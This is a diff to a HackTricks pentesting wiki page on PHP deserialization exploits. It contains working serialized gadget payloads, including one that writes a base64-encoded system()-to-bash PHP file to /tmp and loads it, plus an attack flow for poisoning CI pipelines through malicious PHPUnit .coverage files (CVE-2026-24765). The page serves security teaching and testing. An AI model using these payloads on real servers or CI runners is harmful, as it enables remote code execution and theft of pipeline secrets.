Merge pull request #1933 from HackTricks-wiki/research_update_src_pentesting-web_deserialization_php-deserialization-+-autoload-classes_20260222_024258

Research Update Enhanced src/pentesting-web/deserialization/...

Author: carlospolop

src/pentesting-web/deserialization/php-deserialization-+-autoload-classes.md

@@ -12,9 +12,12 @@ Steps:
 
 - You have found a **deserialization** and there **isn’t any gadget** in the current app code
 - You can abuse a **`spl_autoload_register`** function like the following to **load any local file with `.php` extension**
-  - For that you use a deserialization where the name of the class is going to be inside **`$name`**. You **cannot use "/" or "."** in a class name in a serialized object, but the **code** is **replacing** the **underscores** ("\_") **for slashes** ("/"). So a class name such as `tmp_passwd` will be transformed into `/tmp/passwd.php` and the code will try to load it.\
+  - For that you use a deserialization where the name of the class is going to be inside **`$name`**. You **cannot use "/" or "."** in a class name in a serialized object, but the **code** is **replacing** the **underscores** ("_") **for slashes** ("/"). So a class name such as `tmp_passwd` will be transformed into `/tmp/passwd.php` and the code will try to load it.\
     A **gadget example** will be: **`O:10:"tmp_passwd":0:{}`**
 
+<details>
+<summary>spl_autoload_register LFI/autoload example</summary>
+
 ```php
 spl_autoload_register(function ($name) {
 
@@ -37,6 +40,8 @@ spl_autoload_register(function ($name) {
 });
 ```
 
+</details>
+
 > [!TIP]
 > If you have a **file upload** and can upload a file with **`.php` extension** you could **abuse this functionality directly** and get already RCE.
 
@@ -55,7 +60,7 @@ a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"Guzz
 - Now, we can **create and write a file**, however, the user **couldn’t write in any folder inside the web server**. So, as you can see in the payload, PHP calling **`system`** with some **base64** is created in **`/tmp/a.php`**. Then, we can **reuse the first type of payload** that we used to as LFI to load the composer loader of the other webapp t**o load the generated `/tmp/a.php`** file. Just add it to the deserialization gadget:
 
 ```php
-a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}}
+a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{} }
 ```
 
 **Summary of the payload**
@@ -67,6 +72,29 @@ a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"Guzz
 
 I needed to **call this deserialization twice**. In my testing, the first time the `/tmp/a.php` file was created but not loaded, and the second time it was correctly loaded.
 
+### Recent phpggc goodies (2025)
+
+- The **phpggc master branch keeps adding chains**: OpenCart/RCE2, Drupal/FD1/SQLI1/XXE1, WordPress/YoastSEO/FW1 and others landed in 2025 — useful when the target app shares vendor code with those projects. A quick way to search is `phpggc -l | grep -E "OpenCart|Drupal|Yoast"` (update your clone first).
+- When mixing gadgets across apps via autoloading, remember **private properties in gadget definitions may be dropped** when classes are re-declared differently in the target; edit the gadget’s `chain.php` to make properties `public` if the payload arrives with empty values (same trick shown above).
+
+## PHPUnit PHPT coverage deserialization (CI/CD entrypoint)
+
+`phpunit` before **8.5.52 / 9.6.34 / 10.5.63 / 11.5.50 / 12.5.8** (CVE-2026-24765) unserialized arbitrary PHP objects from `.coverage` files produced by the **PHPT runner**. In CI pipelines where untrusted contributors can push tests, dropping a crafted `.coverage` file triggers deserialization as soon as the suite runs — no web access needed.
+
+**Attack flow**
+
+1. Place a malicious `.coverage` file in the repo (or artifact) containing a serialized gadget that exists in the test dependencies (e.g., a Monolog or Guzzle chain from phpggc).
+2. Submit a PR; when CI executes `phpunit --configuration phpunit.xml`, the PHPT runner reads the coverage file and deserializes the gadget, giving **RCE inside the runner container**.
+3. This is especially nasty when tests mount CI secrets (cloud creds, deployment keys).
+
+**Minimal malicious coverage stub** (drop alongside a PHPT test):
+```php
+<?php
+$payload = file_get_contents('php://stdin'); // serialized gadget from phpggc
+file_put_contents('exploit.coverage', $payload);
+```
+Run the PHPT so phpunit consumes `exploit.coverage`.
+
 ## TCPDF `__destruct` POP chain for arbitrary file deletion
 
 When a real `TCPDF` instance is garbage-collected it calls `_destroy(true)`, iterates over `$this->imagekeys`, and `unlink()`s anything that looks like a cache file under `K_PATH_CACHE`. If an application performs `unserialize($user_data)` while the `TCPDF` class is loaded (e.g. it expects an array with an `html` key), you can supply a serialized object that sets:
@@ -100,8 +128,7 @@ The call to `file_exists()` deserializes the metadata, instantiates TCPDF, and i
 ## References
 
 - [Positive Technologies – Blind Trust: What Is Hidden Behind the Process of Creating Your PDF File?](https://swarm.ptsecurity.com/blind-trust-what-is-hidden-behind-the-process-of-creating-your-pdf-file/)
+- [GitLab Advisory – CVE-2024-51058 TCPDF Hash Comparison / Phar Deserialization](https://advisories.gitlab.com/pkg/composer/tecnickcom/tcpdf/)
+- [CVE-2026-24765 – PHPUnit PHPT Coverage Unsafe Deserialization](https://cvereports.com/reports/CVE-2026-24765)
 
 {{#include ../../banners/hacktricks-training.md}}
-
-
-